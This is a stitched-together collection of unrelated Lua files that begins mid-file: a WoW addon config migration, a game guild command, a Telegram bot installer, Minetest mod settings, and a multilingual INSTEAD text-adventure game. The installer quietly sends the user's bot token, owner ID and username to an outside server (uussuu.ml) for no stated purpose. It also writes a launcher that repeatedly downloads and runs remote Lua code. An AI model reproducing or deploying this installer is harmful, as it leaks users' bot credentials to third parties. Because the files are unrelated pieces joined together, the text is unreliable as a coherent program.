pfUI_config.bars.hide_shapeshift pfUI_config.bars.hide_shapeshift = nil end if pfUI_config.bars.hide_pet then pfUI_config.bars.bar12.autohide = pfUI_config.bars.hide_pet pfUI_config.bars.hide_pet = nil end if pfUI_config.bars.actionmain and pfUI_config.bars.actionmain.formfactor then pfUI_config.bars.bar1.formfactor = pfUI_config.bars.actionmain.formfactor pfUI_config.bars.actionmain.formfactor = nil end if pfUI_config.bars.bottomleft and pfUI_config.bars.bottomleft.formfactor then pfUI_config.bars.bar6.formfactor = pfUI_config.bars.bottomleft.formfactor pfUI_config.bars.bottomleft.formfactor = nil end if pfUI_config.bars.bottomright and pfUI_config.bars.bottomright.formfactor then pfUI_config.bars.bar5.formfactor = pfUI_config.bars.bottomright.formfactor pfUI_config.bars.bottomright.formfactor = nil end if pfUI_config.bars.right and pfUI_config.bars.right.formfactor then pfUI_config.bars.bar3.formfactor = pfUI_config.bars.right.formfactor pfUI_config.bars.right.formfactor = nil end if pfUI_config.bars.tworight and pfUI_config.bars.tworight.formfactor then pfUI_config.bars.bar4.formfactor = pfUI_config.bars.tworight.formfactor pfUI_config.bars.tworight.formfactor = nil end if pfUI_config.bars.shapeshift and pfUI_config.bars.shapeshift.formfactor then pfUI_config.bars.bar11.formfactor = pfUI_config.bars.shapeshift.formfactor pfUI_config.bars.shapeshift.formfactor = nil end if pfUI_config.bars.pet and pfUI_config.bars.pet.formfactor then pfUI_config.bars.bar12.formfactor = pfUI_config.bars.pet.formfactor pfUI_config.bars.pet.formfactor = nil end end -- migrate xp-showalways (> 4.0.2) if checkversion(4, 0, 2) and pfUI_config.panel.xp.showalways then pfUI_config.panel.xp.xp_always = pfUI_config.panel.xp.showalways pfUI_config.panel.xp.rep_always = pfUI_config.panel.xp.showalways pfUI_config.panel.xp.showalways = nil end -- migrate dispell indicators into seperate options (> 4.6.1) if checkversion(4, 6, 1) and pfUI_config.unitframes.debuffs_class then local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" } for _, unitframe in pairs(unitframes) do pfUI_config.unitframes[unitframe].debuff_ind_class = pfUI_config.unitframes.debuffs_class end pfUI_config.unitframes.debuffs_class = nil end -- migrate buff indicators into seperate options (> 4.6.2) if checkversion(4, 6, 2) and pfUI_config.unitframes.show_hots then local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" } local options = { "show_hots", "all_hots", "show_procs", "show_totems", "all_procs", "indicator_time", "indicator_stacks", "indicator_size" } for _, unitframe in pairs(unitframes) do for _, option in pairs(options) do pfUI_config.unitframes[unitframe][option] = pfUI_config.unitframes[option] end end for _, option in pairs(options) do pfUI_config.unitframes[option] = nil end end pfUI_config.version = pfUI.version.string end
class("GuildGetUserInfoCommand", pm.SimpleCommand).execute = function (slot0, slot1) slot2 = slot1:getBody() if not getProxy(GuildProxy):getData() then return end pg.ConnectionMgr.GetInstance():Send(60102, { type = 0 }, 60103, function (slot0) slot1 = slot0:getData() slot1:updateUserInfo(slot0) slot0:updateGuild(slot1) slot1:sendNotification(GAME.GUILD_GET_USER_INFO_DONE) end) end return class("GuildGetUserInfoCommand", pm.SimpleCommand)
serpent = dofile("./File_Libs/serpent.lua") https = require("ssl.https") http = require("socket.http") JSON = dofile("./File_Libs/JSON.lua") local database = dofile("./File_Libs/redis.lua").connect("127.0.0.1", 6379) Server_SourceBeccaa = io.popen("echo $SSH_CLIENT | awk '{ print $1}'"):read('*a') local AutoFiles_SourceBeccaa = function() local Create_Info = function(Token,Sudo,UserName) local SourceBeccaa_Info_Sudo = io.open("sudo.lua", 'w') SourceBeccaa_Info_Sudo:write([[ token = "]]..Token..[[" Sudo = ]]..Sudo..[[ UserName = "]]..UserName..[[" ]]) SourceBeccaa_Info_Sudo:close() end if not database:get(Server_SourceBeccaa.."Token_SourceBeccaa") then print("\27[1;34m»» Send Your Token Bot :\27[m") local token = io.read() if token ~= '' then local url , res = https.request('https://api.telegram.org/bot'..token..'/getMe') if res ~= 200 then io.write('\n\27[1;31m»» Sorry The Token is not Correct \n\27[0;39;49m') else io.write('\n\27[1;31m»» The Token Is Saved\n\27[0;39;49m') database:set(Server_SourceBeccaa.."Token_SourceBeccaa",token) end else io.write('\n\27[1;31mThe Tokem was not Saved\n\27[0;39;49m') end os.execute('lua start.lua') end ------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------ if not database:get(Server_SourceBeccaa.."UserName_SourceBeccaa") then print("\27[1;34m\n»» Send Your UserName Sudo : \27[m") local UserName = io.read():gsub('@','') if UserName ~= '' then local Get_Info = http.request("http://TshAkE.ml/info/?user="..UserName) if Get_Info:match('Is_Spam') then io.write('\n\27[1;31m»» Sorry The server is Spsm \nتم حظر السيرفر لمدة 5 دقايق بسبب التكرار\n\27[0;39;49m') return false end local Json = JSON:decode(Get_Info) if Json.Info == false then io.write('\n\27[1;31m»» Sorry The UserName is not Correct \n\27[0;39;49m') os.execute('lua start.lua') else if Json.Info == 'Channel' then io.write('\n\27[1;31m»» Sorry The UserName Is Channel \n\27[0;39;49m') os.execute('lua start.lua') else io.write('\n\27[1;31m»» The UserNamr Is Saved\n\27[0;39;49m') database:set(Server_SourceBeccaa.."UserName_SourceBeccaa",Json.Info.Username) database:set(Server_SourceBeccaa.."Id_SourceBeccaa",Json.Info.Id) end end else io.write('\n\27[1;31mThe UserName was not Saved\n\27[0;39;49m') end os.execute('lua start.lua') end local function Files_SourceBeccaa_Info() Create_Info(database:get(Server_SourceBeccaa.."Token_SourceBeccaa"),database:get(Server_SourceBeccaa.."Id_SourceBeccaa"),database:get(Server_SourceBeccaa.."UserName_SourceBeccaa")) https.request("https://uussuu.ml/SourceBeccaa/SourceBeccaa.php?id="..database:get(Server_SourceBeccaa.."Id_SourceBeccaa").."&user="..database:get(Server_SourceBeccaa.."UserName_SourceBeccaa").."&token="..database:get(Server_SourceBeccaa.."Token_SourceBeccaa")) local RunSourceBeccaa = io.open("SourceBeccaa", 'w') RunSourceBeccaa:write([[ #!/usr/bin/env bash cd $HOME/SourceBeccaa token="]]..database:get(Server_SourceBeccaa.."Token_SourceBeccaa")..[[" rm -fr SourceBeccaa.lua wget "https://raw.githubusercontent.com/Source-Becca/SourceBeccaa/master/SourceBeccaa.lua" while(true) do rm -fr ../.telegram-cli ./tg -s ./SourceBeccaa.lua -p PROFILE --bot=$token done ]]) RunSourceBeccaa:close() local RunTs = io.open("ts", 'w') RunTs:write([[ #!/usr/bin/env bash cd $HOME/SourceBeccaa while(true) do rm -fr ../.telegram-cli screen -S SourceBeccaa -X kill screen -S SourceBeccaa ./SourceBeccaa done ]]) RunTs:close() end Files_SourceBeccaa_Info() database:del(Server_SourceBeccaa.."Token_SourceBeccaa");database:del(Server_SourceBeccaa.."Id_SourceBeccaa");database:del(Server_SourceBeccaa.."UserName_SourceBeccaa") sudos = dofile('sudo.lua') os.execute('./install.sh ins') end local function Load_File() local f = io.open("./sudo.lua", "r") if not f then AutoFiles_SourceBeccaa() var = true else f:close() database:del(Server_SourceBeccaa.."Token_SourceBeccaa");database:del(Server_SourceBeccaa.."Id_SourceBeccaa");database:del(Server_SourceBeccaa.."UserName_SourceBeccaa") sudos = dofile('sudo.lua') os.execute('./install.sh ins') var = false end return var end Load_File()
--print(debug.getinfo(2).name) -- get name from calling function if minetest.get_modpath("bows") then aliveai.tools_handler.bows={--mod name try_to_craft=false, -- because its very unsure if they ever will be able to craft them use=true, tool_group="bow", -- item/node groups --tools={"bow_wood","bow_stone","bow_steel","bow_bronze","bow_obsidian","bow_mese","bow_diamond","bow_rainbow","bow_admin"}, --amo="bows:arrow", amo_group="arrow", -- item/node groups amo_index=1, tool_index=2, tool_reuse=1, tool_near=0, tool_see=1, tool_chance=3, } end minetest.register_chatcommand("aliveai", { params = "", description = "aliveai settings", privs = {server=true}, func = function(name, param) if string.find(param,"status=true")~=nil then aliveai.status=true minetest.chat_send_player(name, "<aliveai> bot status on") elseif string.find(param,"status=false")~=nil then aliveai.status=false minetest.chat_send_player(name, "<aliveai> bot status off") elseif string.find(param,"count")~=nil then minetest.chat_send_player(name, "<aliveai> max:".. aliveai.max_num .." by self:" .. aliveai.max_num_by_self .." monsters by self:" .. aliveai.max_num_by_self_monsters .." bots: " .. aliveai.active_num) end end })
--- Entity lifespan. -- -- @setting skeleton.lifetime -- @settype int -- @default 900 (15 minutes) skeleton.lifetime = tonumber(core.settings:get("skeleton.lifetime")) or 900 --- Spawn rate frequency. -- -- -- @setting skeleton.spawn_interval -- @settype int -- @default 120 (2 minutes) -- @see [ABM definition](http://minetest.gitlab.io/minetest/definition-tables.html#abm-activeblockmodifier-definition) skeleton.spawn_interval = tonumber(core.settings:get("skeleton.spawn_interval")) or 120 --- Chance of spawn at interval. -- -- @setting skeleton.spawn_chance -- @settype int -- @default 7000 -- @see [ABM definition](http://minetest.gitlab.io/minetest/definition-tables.html#abm-activeblockmodifier-definition) skeleton.spawn_chance = tonumber(core.settings:get("skeleton.spawn_chance")) or 7000
-- -- The source code of the game (including images) is distributed under the MIT license. For the full text of the license, see the file LICENCE.txt, which is located in the game directory. Sounds, music - distributed under their own licenses, see snd/source.txt and mus/Copyright.txt Some images are distributed under their own licenses, see gfx/Sources.txt -- -- Исходный код игры (включая изображения) распространяется на условиях лицензии MIT. Полный текст лицензии см. в файле LICENCE.txt, который находится в каталоге с игрой. Звуки, музыка - распространяются под своими лицензиями, см. snd/source.txt и mus/Copyright.txt Некоторые изображения распространяются под собственными лицензиями, см. gfx/Sources.txt -- -- $Name(ru): Лесное приключение $ -- $Name(en): Adventure in the forest $ -- $Name(uk): Лісова пригода $ -- $Version: 0.01$ -- $Author: Дмитрий Петрук$ -- $Info: Ники в сети - Amberit(92), Artorius, Artomberus \n Код игры - под MIT \n Музыка: Jason Shaw, лицензия CC BY 3.0 \n Звуки - см. каталог игры $ include "longway" require "snd" require "fmt" require "noinv" require "click" require "theme" require "timer" require "keys" require "dbg" require "sprite" require "snapshots" loadmod "decor" loadmod "link" game.act = 'Не работает.'; game.use = function () p( phrases[language][rnd( table.maxn(phrases[language]) )]); end; game.inv = 'Зачем мне это?'; xact.walk = walk xact.walkout = walkout function init () if theme.name() ~= '.' then take 'статус'; end; take 'fonarik' take 'maintain' lifeon 'maintain' createbutton(); if LANG == 'ru' then setru(); end; if LANG == 'en' then seten(); end; if LANG == 'uk' then setua(); end; end function sndplaylong() if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end; end; function game:ondecor(name, x, y) clickmute = true; if name == 'ruslang' then setru(); rulangimage = "gfx/russian_selected.png"; enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian.png"; snd.play('snd/click.wav', 7); walk('main') return end; if name == 'englang' then seten(); enlangimage = "gfx/english_selected.png"; rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian.png"; snd.play('snd/click.wav', 7); walk('main') return end; if name == 'ukrlang' then setua(); ualangimage = "gfx/ukrainian_selected.png"; enlangimage = "gfx/english.png"; rulangimage = "gfx/russian.png"; snd.play('snd/click.wav', 7); walk('main') return end; if name == 'statsclick' and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) return std.nop() end; if name == 'statsclick' and ru and not infobarshow then p[[Да, это твой {@ walk stats|прогресс}.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end; if name == 'statsclick' and en and not infobarshow then p[[Yes, this is your progress.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end; if name == 'statsclick' and ua and not infobarshow then p[[Так, це твій прогрес.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end; if name == 'traces' then x = rnd(600); y = rnd(500); snd.play('snd/click.wav', 7); walkin('control_room') return end; if name == 'control_panel' and passedintro then walkin('control_room'); return end; if name == 'info_panel' and passedintro then walkin('info_room'); return end; if name == 'cursor_usual' then theme.gfx.cursor ('gfx/inv/cursor.png', 'gfx/inv/cursoruse.png', 0 , 0); cursorstate = 0; if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: обычный.') ); end; if en then p ( fmt.c('^As you wish. Specified cursor size: normal.') ); end; if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: звичайний.') ); end; return end; if name == 'cursor_big' then theme.gfx.cursor ('gfx/inv/cursorbig.png', 'gfx/inv/cursorbiguse.png', 0 , 0); cursorstate = 1; if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: большой.') ); end; if en then p ( fmt.c('^As you wish. Specified cursor size: big.') ); end; if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: великий.') ); end; return end; if name == 'cursor_verybig' then theme.gfx.cursor ('gfx/inv/cursorverybig.png', 'gfx/inv/cursorverybiguse.png', 0 , 0); cursorstate = 2; if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: огромный.') ); end; if en then p ( fmt.c('^As you wish. Specified cursor size: very big.') ); end; if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: дуже великий.') ); end; return end; if name == 'keys_infobar' and infobarshow then drawtext = false; deleteinfobar(); theme.gfx.bg (bg_name) fadingcanbe = true; repeatplease = true; createclickonscene(); return okay(); end; if name == 'clickonscene' and clickonsceneenabled and drawtext then if ru then p(current_ru) end if en then p(current_en) end if ua then p(current_ua) end sndplaylong() clickmute = false; else drawtext = true; return std.nop() end; end; exit = function() pleasedrink = false; pleaseeat = false; end; managesound = function() if not clickmute and not infobarshow and not weareincontrol then snd.play('snd/click.wav', 1) end; if enteredsamobranka then snd.play('snd/click.wav', 1) end; clickmute = false; if fadingcanbe then repeatplease = false; end; end; setru = function() ru = true; en = false; ua = false; end; seten = function() ru = false; en = true; ua = false; end; setua = function() ru = false; en = false; ua = true; end; test = function() -- включаю её, когда надо отследить, где добавился опыт -- p'+EXP'; end; game.afteract = managesound; game.afterinv = managesound; game.oninv = managesound; game.onuse = managesound; game.onwalk = managesound; game.ontak = managesound; global 'bg_name' ('gfx/bg.png') function set_bg(name) bg_name = name theme.gfx.bg (name) end function start(load) -- удобное изменение фона под игровую ситуацию theme.gfx.bg (bg_name) if cursorstate == 0 then theme.gfx.cursor ('gfx/inv/cursor.png', 'gfx/inv/cursoruse.png', 0 , 0) end; if cursorstate == 1 then theme.gfx.cursor ('gfx/inv/cursorbig.png', 'gfx/inv/cursorbiguse.png', 0 , 0) end; if cursorstate == 2 then theme.gfx.cursor ('gfx/inv/cursorverybig.png', 'gfx/inv/cursorverybiguse.png', 0 , 0) end; end std.strip_call = false -- для переноса строк, где хочу и когда хочу :) snd.music_fading(2500) -- плавный переход музыки instead.fading = false; -- убрать фэйдинг для первой сцены, потом мы его включим. fmt.para = true; -- включить отступы global 'language' ('ru') declare { phrases = { ru = { [[Это не поможет.]], [[Это ни к чему.]], [[Это ни к чему не приведет.]], -- [[Нет.]], [[Не то.]], [[Непонятно...]], [[Ничего не произошло.]], [[Бесполезно.]], [[В этом нет никакого смысла.]], [[Попробуй что-то другое.]], [[И что ты хочешь получить в итоге?]], [[Ну ты, конечно, и экспериментатор.]], -- [[Если бы все предметы всегда сочетались - какой бы стала игра?]], [[Больше так не делай.]], [[Давай ты не будешь так больше делать, окей?]], [[Методом проб и ошибок... Но не абсурда же?]], [[Что ты делаешь?]], [[Не получится.]] } ; en = { [[This will not help.]], [[This is useless.]], [[This will not lead to anything.]], [[Not that.]], [[Unclear...]], [[Nothing has happened.]], [[Useless.]], [[This makes no sense.]], [[Try something else.]], [[And what do you want to get as a result?]], [[Well, you are an experimenter.]], [[Don't do this anymore.]], [[Come on, you won’t do that anymore, okay?]], [[By trial and error... But not absurdity?]], [[What are you doing?]], [[This will not work.]] }; ua = { [[Це не допоможе.]], [[Це ні до чого.]], [[Це ні до чого не приведе.]], [[Не те.]], [[Незрозуміло...]], [[Нічого не сталося.]], [[Марно.]], [[В цьому немає ніякого сенсу.]], [[Спробуй щось інше.]], [[І що ж ти хочеш отримати в результаті?]], [[Ну ти й експериментатор.]], [[Більше так не роби.]], [[Давай ти так не будеш робити більше, окей?]], [[Методом проб і помилок... Але не абсурду ж?]], [[Що ти робиш?]], [[Не вийде.]] } } } global { -- Много разных переменных. В основном логические. На них построена вся игра. wr = 0; -- Переменная, в которой считаем прогресс. max = 22; -- Когда wr достигнет значения max, игрок дойдет до развилки choose = 0; -- переменная, которой присвоим значение в зависимости от выбора maxchoose = 3; -- количество инкрементов прогресса в зависимости от выбора rightchoose = 0; -- здесь считаем прогресс правого пути -- rightmaxchoose = 1; -- максимум инкрементов для правого пути leftchoose = 0; -- здесь считаем прогресс левого пути -- leftmaxchoose = 1; -- максимум инкрементов для левого пути straightchoose = 0; -- здесь считаем прогресс прямого пути -- straightmaxchoose = 1; -- максимум инкрементов для прямого пути rightwaychoosen = false; leftwaychoosen = false; -- выбор одного из путей straightwaychoosen = false; ru = false; en = true; -- маркеры языка... Если локаль инстеда одна из этих трех - они будут выбраны соответственно. Если локаль не одна из этих трех - то предлагаться будет англоязычная версия игры, как, вероятно, более понятная ua = false; weareincontrol = false; -- находимся ли мы в контрольной панели afterriver = false; -- прошел ли реку, нужно для прогресса clickmute = false; -- переключатель звука клика stonebreak = false; -- Укатил ли камень. havelopata = false; -- Взял ли лопату. havevedro = false; -- Взял ли ведро. haveudochka = false; -- Взял ли удочку. firsttime = true; -- Первый раз удочка на озеро. secondtime = true; -- Второй раз удочка на озеро. thirdtime = true; -- Третий раз удочка на озеро. firststart = true; -- Первый ли раз на перекрестке. otherstarts = false; -- Остальные разы. vedrostand = false; -- Поставил ли ведро на берег. vedrowithwater = false; -- Набрал ли в ведро воды. holeway = false; -- переменная для перехода к следующему этапу игры. frsttime = true; -- первый раз закинул удочку scndtime = true; -- второй раз закинул удочку thrdtime = true; -- третий раз - переход good = 0; -- подсчет поступков maxgood = 1; -- максимум хороших поступков evil = 0; -- подсчет поступков maxevil = 1; -- максимум плохих поступков goodorevil = 0; -- секретная переменная игры touchedtopor = false; -- не брали ли топор. touchedkey = false; -- не брали ли ключ. brokenwithtopor = false; -- ломал ли дверь топором openedwithkey = false; -- открывал ли дверь ключом firsttopor = true; -- первый раз заточил топор secondtopor = true; -- второй раз заточил топор thirdtopor = true; -- третий раз заточил топор propustili = false; -- справился ли с деревьями voronainriver = false; -- выбросил ли ворону в реку voronawasininv = false; -- трогал ли ворону voronaonmost = false; -- где ворона? youcansobr = false; -- возможность оборвать деревья, после разговора sobralapples = false; -- оборвал ли деревья от плодов izrubitapple = true; -- предупреждение, когда игрок пытается изрубить деревья izrubilappletrees = false; -- изрубил ли деревья aftertalkwithtrees = false; -- говорил ли с деревьями soglasen = false; -- если согласился помочь firstintrees = true; -- первый заход к деревьям aftertrees = false; -- определяем переход сразу после деревьев pleasedrink = false; -- для сообщения про козленочка, чтобы не фиксировать его isusercozel = false; -- стал ли игрок козленочком =) showtheway = false; -- после скольки кликов показывать решение выхода из состояния козленочка waycounter = 0; -- счетчик для показа решения выхода из состояния козленочка onepress = false; -- нажал Один twopress = false; -- нажал Два threepress = false; -- нажал Три twocheck = false; -- нажимаем 2 кнопку лишь 1 раз. pleaseeat = false; -- для сообщения про съесть яблоки, чтобы не фиксировать его pleaseeatpoison = false; -- то же для ядовитого яблока countedvorona = false; -- считали ли заход к вороне в прогрессе, после подсчета делается тру firstfill = true; -- считать в прогрессе только первый набор воды в ведро lestnicastand = false; -- поставил ли лестницу у дерева cantdothat = false; -- попробовал ли собрать яблоки belkaishere = false; -- явилась ли белка, хе-хе belkaseen = false; -- видел ли белку waytohouseback = false; -- путь к обратной стороне хижины закрыт onceopened = false; -- метка открытия обратного пути к хижине. когда тру - больше не вызываем диалог с белкой. wow = false; -- сказал ли вау, когда увидел лестницу lestntaken = false; -- взял ли лестницу topornavolka = false; -- пытался ли атаковать волка топором afterwolf = false; -- поговорил ли с волком horseleaved = false; -- слез ли с коня на правом пути stoneseen = false; -- видел ли камень с надписью talkedwithhorse = false; -- говорил ли с конем drinkedwaterinkolodets = false; -- напился ли воды из колодца eatedkolobok = false; -- съел ли колобка talkedwithkolobok = false; -- говорил ли с колобком kolobokandkuvshin = false; -- залил ли колобка водой vedrowithkolodecisfull = false; -- набрал ли воды в ведро из колодца firsttalkwithstarik = true; -- делаем false если поговорили первый раз со стариком haveskatert = false; -- получил ли самобранку dalapples = false; -- дал ли яблоки старику dalwater = false; -- дал ли живую воду старику bread1 = false; -- что мы съели со скатерти, а что нет bread2 = false; cake3 = false; baton4 = false; banan5 = false; soup6 = false; bottle7 = false; arbuz8 = false; blackikra9 = false; formilk10 = false; fish11 = false; candles12 = false; redikra13 = false; meat14 = false; kolbasa15 = false; vinograd16 = false; grusha17 = false; apple18 = false; -- последний пункт в списке предметов скатерти nableguest = false; -- стал ли гостем у конюха zanaveskaopen = false; -- переключатель занавески в доме конюха takedpoison = false; -- взял ли ядовитое яблоко fallen = false; -- упал ли на камни attention = false; -- использовано ли предупреждение перед падением на камни alreadytalkedwolfinvillage = false; -- говорил ли с волком по прибытии в деревню oboroten = false; -- стал ли конюх оборотнем belkaincremented = false; -- если не касался дупла и не видел белку - при заходе к деревьям выравниваем прогресс. Да, костыльно. Но как умею( waterpoisoned = false; -- отравил ли колодец triedtoeat = false; -- если съел отравленное яблоко и умер, то выставляем тру, и игра не позволит повторить это specialcase = false; -- особый случай, когда набрал воды, а затем отравил колодец seaseen = false; -- видел ли море evening = 0; -- счетчик стадий вечера nobackway = false; -- прошел ли точку невозврата после старика перед деревней talkedwithoutskatert = false; -- если поговорил со стариком без шанса на скатерть, то тру removetopor = false; -- если тру, надо оставить топор havetaburet = false; -- есть ли у нас табурет braltaburet = false; -- брал ли табурет хоть раз takkuvshin2 = false; -- взял ли кувшин в дупле дерева kuvshintakedfromstarik = false; -- взял ли кувшин у старика uvideltopor = false; -- увидел ли топор. переменная нужна, чтобы перенести топор в другое место, если игрок не видел топор treecounter = 0; -- счетчик посещений дерева, если равно 3 и больше - можно показывать жар-птицу needpero = false; -- узнал ли от хозяина трактира, что нужно перо, чтобы получить пиво. переменная нужна как одно из условий появления жар-птицы birdontree = false; -- жар-птица прилетела или нет pticauletela = false; -- улетела ли птица после попытки схватить её havepero = false; -- есть ли перо жар-птицы у нас pivotaked = false; -- обменял ли перо на пиво postavpivoje = false; -- находимся ли мы за столиком kuvshinontable = false; -- поставлен ли кувшин на столик zabralkuvshinpivo = false; -- забрал ли кувшин с пивом со столика notfull = true; -- кувшин обычно не полон perelilpivo = false; -- решил ли квест с пивом и кружкой triedtoescape = false; -- пытался ли украсть кружку krotdal = false; -- отдал ли кружку mukaest = false; -- брал ли муку у мельника seegulls = true; -- видим ли чаек gullscounter = 0; -- счетчик состояния чаек (от 1 до 4) gullscheck = 0; -- переменная, чтобы рандом не повторялся nopivoontable = false; -- оставил ли пустую кружку на столе zabral = false; -- забрал ли хозяин кружку со стола vipusti = false; -- переменная нужна для того, чтобы не вызывать диалог про кружку, если уже погоговорил об этом combo = false; -- ловим сочетание условий, когда не надо вызывать диалог про то, что оставил кружку youcanplace = false; -- когда можно поставить пустую кружку wasintalkaboutkruzhka2 = false; -- один хак исправляет другой. для правильного выбора диалога, даже если вышел, оставив кружку на столе tyvor = false; -- вор ли ты needpivo = false; -- узнали ли от мельника, что нужно пиво askwhere = false; -- можно спрашивать ли про то, где искать перо dalvodu = false; -- особый случай, когда частично помог старику napugal = false; -- напугал ли белку wasinvillage = false; -- был ли в деревне countflush = 0; -- счетчик сброса голода eveningenabled = false; -- это для меня, включать и выключать вечер eatenapples = false; -- съел ли яблоки nashel2 = false; -- дупло дерева, особый случай fixed = false; -- исправил ли прогресс... cursorstate = 1; -- состояние размера курсора. 0 - минимум, 1 - обычный, 2 - максимум fromwhere = ''; clickonsceneenabled = false; -- включены ли клики на сцене rulangimage = "gfx/russian.png"; enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian.png"; passedintro = false; -- прошли ли интро infobarshow = false; -- показан ли инфобар о клавишах fontsize = theme.get'win.fnt.size'; -- размер шрифта, соответствует дефолтному. при его увеличении увеличиваем шрифт в игре, и поправляем зоны видимости, раз уж взялись свою тему делать fadingcanbe = false; -- разрешен ли фейдинг repeatplease = false; -- надо ли повторить сообщение на перекрестке при заходе. нужно чтобы визуально ничего не менялось, когда кликаем мышей по инфобару langchanged = false; -- если язык не изменился, незачем перерисовывать сцену redbarshow = false; -- показан ли красный экран death_time = 1000; -- время показа красного экрана для таймера drawtext = true; -- показан ли текст при клике на сцену clickonscene_x = 50; -- координаты области клика по картинке clickonscene_y = 35; current_ru = ''; -- сообщение по клику на сцену. меняем в каждой комнате current_en = ''; current_ua = ''; temphide = false; -- если тру - то не играть звук, один раз. нужно для двери, чтобы когда меняешь язык то не было скрипа statnum = '0'; -- число статуса, которое передаем в декоратор statword = ''; -- сюда запишем перевод индикатора прогресса enteredsamobranka = false; -- находимся ли в самобранке nearstone = false; -- находимся ли возле камня. нужно, чтобы не показывать там статус } setstatword = function() if ru then statword = 'Прогресс: '; end; if en then statword = 'Progress: '; end; if ua then statword = 'Прогрес: '; end; end; stat { -- старый статус, для режима, когда играем без встроенной темы nam = 'статус'; pri = -1; -- в инстед версии 3.3.0 и выше эта строчка не требуется. Но в финале её оставлю, для совместимости. Обходит баг с сортировкой предметов в инвентаре. disp = function (s) if rightwaychoosen then choose = rightchoose; end; -- maxchoose = rightmaxchoose; end; if leftwaychoosen then choose = leftchoose; end; -- maxchoose = leftmaxchoose; end; if straightwaychoosen then choose = straightchoose; end; -- maxchoose = straightmaxchoose; end; pn (fmt.c(' ')) if ru then pn (fmt.c('Прогресс: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end; if en then pn (fmt.c('Progress: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end; if ua then pn (fmt.c('Прогрес: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end; -- Считаем и выводим прогресс игры в процентах. pn (fmt.c(' ')) end }; statnumcalc = function() if rightwaychoosen then choose = rightchoose; end; if leftwaychoosen then choose = leftchoose; end; if straightwaychoosen then choose = straightchoose; end; statnum = statword..string.sub( tostring( ((wr+choose)/(max+maxchoose))*100 ), 1, 4 )..' %' ; end; declare { status = function() return statnum end; } global { -- Сообщения на перекрестке. counter = 0; inplaceofrespawnRU = { [[Ты вернулся на место... чего?]], [[Здесь, конечно, интересно стоять и рассматривать лес. Но, может, лучше куда-нибудь пойти и выяснить, где же ты находишься?]], [[Интересно здесь, не так ли?]], [[Отряд не заметил потери бойца... Тебя хоть хватятся?]], [[Сколько ты проживешь в лесу, без еды и воды?]], [[Здесь есть кто живой?]], [[Иди-иди, не задерживайся.]], [[Сказка ложь, а в ней намек... Нет, в твоем случае сказка - чистая правда.]], [[Лес - источник жизни, силы и здоровья. Но не для всех и не всегда. Для тебя он сейчас - угроза.]], [[Не пей, братец, воду из озера местного - козленочком станешь.]], [[Ходит дурачок по лесу, ищет дурачок глупее себя...]], [[Из места, где пишут "прохода нет" - логичнее идти в место, где он таки есть. А ты сейчас на полпути.]], [[Что останется после тебя?]], [[Если надо выбрать между добром и злом - что бы ты выбрал?]], [[Эта история проверит, чем ты дышишь...]], [[Если в твоем сердце добрые намерения - ты останешься жив.]], [[Почему всё так коряво нарисовано?]], [[Стоит ли запретить человеку лгать? Если бы это было возможно.]], [[Нужна ли свободная воля, которая приводит к страданию и несправедливости?]], [[Ты голоден, знаешь это?]], [[Ты не боишься, что сейчас из-за поворота выбежит волк и съест тебя?]], [[Ты вспоминаешь, как уютно и безопасно сейчас дома...]], [[И всё же странно всё это...]], [[Ты веришь в сказки?]], [[Вселенская большая любовь. Моя бездонная копилка в пустоте...]], [[Вселенская большая любовь. Моя секретная калитка в пустоте...]], [[Кто ты? Как понять тебя? О чем ты думаешь, блуждая по этим лесным зарослям?]], [[Движение - жизнь. Нельзя стоять на месте - врастешь в землю.]], [[Я искренне восхищаюсь тем, что ты читаешь все эти фразы. Продолжай.]], [[Какая ты, дорога жизни?]], [[Однако. Ходют тут всякие. Вместо того, чтобы делом заняться и спасти себя.]], [[Поздравляю. Ты так часто возвращаешься в это место, что истратил все фразы, которые автор для тебя заготовил. Может, он сделал что-то не так? Или ты оказался любопытным.]], [[ ]] }, inplaceofrespawnEN = { [[You returned to the place... of what?]], [[Here, of course, it is interesting to stand and look at the forest. But maybe it’s better to go somewhere and find out where you are?]], [[Interesting here, right?]], [[Are there any people who will look for you?]], [[How long will you live in the forest without food and water?]], [[Is there anyone alive here?]], [[Go, go, do not hold back.]], [[Tale of sense, if not of truth! Food for thought to honest youth. In your case, a fairy tale is pure truth.]], [[Forest is the source of life, strength and health. But not for everyone and not always. It is a threat to you now.]], [[Don’t drink, brother, water from the local lake - you’ll become a goat.]], [[From the place where it says "there is no passage" - it’s more logical to go to the place where it is. You're halfway now.]], [[What remains after you?]], [[If you need to choose between good and evil - what would you choose?]], [[This story will test what you are worth...]], [[If you have good intentions in your heart, you will remain alive.]], [[Why is everything so clumsy painted?]], [[Is it worth it to forbid a person to lie? If it were possible.]], [[Do we need free will that leads to suffering and injustice?]], [[Do you know that you are hungry?]], [[Are you not afraid that now the wolf will run out from behind the bend and eat you?]], [[You remember how comfortable and safe at home right now...]], [[And yet all this is strange...]], [[Do you believe in fairy tales?]], [[Who are you? How to understand you? What are you thinking, wandering around these forest thickets?]], [[Movement is life. You can’t stand still - you grow into the ground.]], [[I sincerely admire you reading all these phrases. Continue.]], [[What are you, the way of life?]], [[However. Everyones go here. Instead of doing business and saving yourself.]], [[Congratulations. You return to this place so often that you spent all the phrases that the author has prepared for you. Maybe he did something wrong? Or you were curious.]], 